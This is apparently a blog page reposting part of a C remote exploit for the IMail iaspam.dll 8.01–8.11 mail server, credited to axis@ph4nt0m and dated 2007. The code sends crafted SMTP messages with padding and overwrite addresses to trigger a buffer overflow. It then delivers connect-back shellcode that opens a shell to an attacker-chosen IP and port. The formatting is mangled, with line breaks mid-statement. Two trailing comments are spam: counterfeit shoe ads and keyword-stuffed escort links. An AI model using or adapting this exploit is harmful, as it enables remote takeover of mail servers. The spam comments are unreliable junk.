         send(s, (const char *)szMIME, strlen((const char *)szMIME), 0);
   
//    recv(s, buffer, sizeof(buffer), 0);
  
//    printf("%s", buffer);
   
//     printf("[+]Fucking Server at %s.\n", szTIME);
   
//     memset(buffer, 0, sizeof(buffer));
        
        
//print $sock "Content-Transfer-Encoding:$padding2\r\n";
        memset(padding, 0x4380);
        
//memcpy(padding, "\x43", 80);
        padding[80= '\x00';

        memset(payload, 
0x00sizeof(payload));
        memcpy(payload, szCTE, strlen((
const char*)szCTE));
        memcpy(payload
+strlen((const char*)szCTE), padding, strlen((const char*)padding));
        memcpy(payload
+strlen((const char*)szCTE)+strlen((const char*)padding), "\r\n"2);

        send(s, (
const char *)payload, strlen((const char *)payload), 0);
        Sleep(
200);

        
// send payload  修改指针地址,构造出溢出
        memset(payload, 0x00sizeof(payload));
        
// 需要指向构造溢出字符串的地址,以及2个可写地址
        memcpy(payload, "\x50\xc0\xfd\x7f"4);
        memcpy(payload
+4"\x40\xc0\xfd\x7f\x30\xc0\xfd\x7f"8);
        memcpy(payload
+12"\r\n"2);
        
        send(s, (
const char *)payload, strlen((const char *)payload), 0);

        memset(payload, 
0x00sizeof(payload));

    }


    
// END
    Sleep(500);
    send(s, szEND, strlen(szEND), 
0);
    recv(s, buffer, 
sizeof(buffer), 0);
    
if(strstr(buffer, "250"))
      printf(
"[+]Recv: %s", buffer);
    
else
        {
            printf(
"[-]Seems Service Down~ :( \n");
            Disconnect(s);
            
return -1;
        }
    memset(buffer, 
0sizeof(buffer));



    
// QUIT
    send(s, szQUIT, strlen(szQUIT), 0);
    recv(s, buffer, 
sizeof(buffer), 0);
//    printf("%s", buffer);
    printf("[+]Fucking END, Ejaculating Now !\n\n");
    memset(buffer, 
0sizeof(buffer));

    
    Sleep(
400);

    closesocket(s);

    WSACleanup();

    
return 0;

}




int main(int argc, char *argv[])
{

    
    
//int  imail_ver = 0;    //imail version  (buffer不同)
    
//int  ret;

    
//SOCKET  s;
    
//WSADATA WSAData;

    printf(
"\n== IMail iaspam.dll 8.01-8.11 Private Remote Exploit\n");
    printf(
"== by axis@ph4nt0m\n");
    printf(
"== http://www.ph4nt0m.org\n");
    printf(
"== 2007-06\n");
    printf(
"== 2007-09-18 published as a gift for the 6th Anniversary of Ph4nt0m\n");
    printf(
"== ConnBack Version\n");
    printf(
"== Thanks EnvyMask@ph4nt0m\n\n");


    
if(argc != 5)
    {
        help(argv[
0]);
        
return 0;
    }

    
if(argc == 5) port = atoi(argv[4]);


    GetShellCode(argv[
3], port);
    
if (!sh_Len)
    {
        printf(
"[-] Shellcode generate error.\n");
        exit(
1);
    }


    
//printf("shellcode length is: %d \n",strlen((char *)sh_Buff));
    
//PrintSc(sh_Buff, sh_Len);


    Sleep(
200);

    
for (int mail_payload = 0; mail_payload <= 3; mail_payload++)
    {
        
//printf("[+]Now Sending the %d fucking Mail!\n",mail_payload+1);
        sendfuckingmail(mail_payload, argv[1], atoi(argv[2]));
        Sleep(
2000);
    }
    
    printf(
"Got a Shell on your port ?! @_@\n\n");


    
return 1;

}

2 条评论:

匿名 说...

nike shoes & Puma Shoes Online- tn nike, cheap nike shox, puma cat, baskets puma, air max.cheap nike shox r4 torch, cheap nike air, nike running shoes air max, puma speed and more. Paypal payment.nike running shoes Enjoy your shopping experience on Nike & Puma Shoes Online Store.

Unknown 说...

Nice information,Ankara escort
many thanks to the author.Ankara escort
It is incomprehensible to me nowAnkara escort
, but in general,Escort ankara bayan
the usefulness and significance is overwhelming.Ankara escort
Thanks again and good luck!
Ankara escort
became the first designer in Wimbledon's 133-year history to create official uniforms for the tournamentescort ankara
As part of this year's event, which starts next week.
will introduces the first ...Escort ankara
determinationEscort ankara
to maintain and enhance the values for which our two brands are famous throughout the world.Escort ankara
The rugby ralph lauren brand brings to Wimbledon the look of timeless elegance,Escort ankara
drawing on our rich history and traditionsEscort ankara
expert and i like your blog and the information you have
mentioned in this post about the Google tools is really great!
Ankara Escort Bayan
Escort Bayan Ankara
escort bayan
escort
escort istanbul
Bayan Escort
escort bayan ankara
escort bayan ankara
escort ankara ilan
Escort ankara bayan
escort bayan ankara çankaya
Ankara escort bayan
Escort Bayan Ankara
Ankara Escort
Thanks for sharing. Very impressive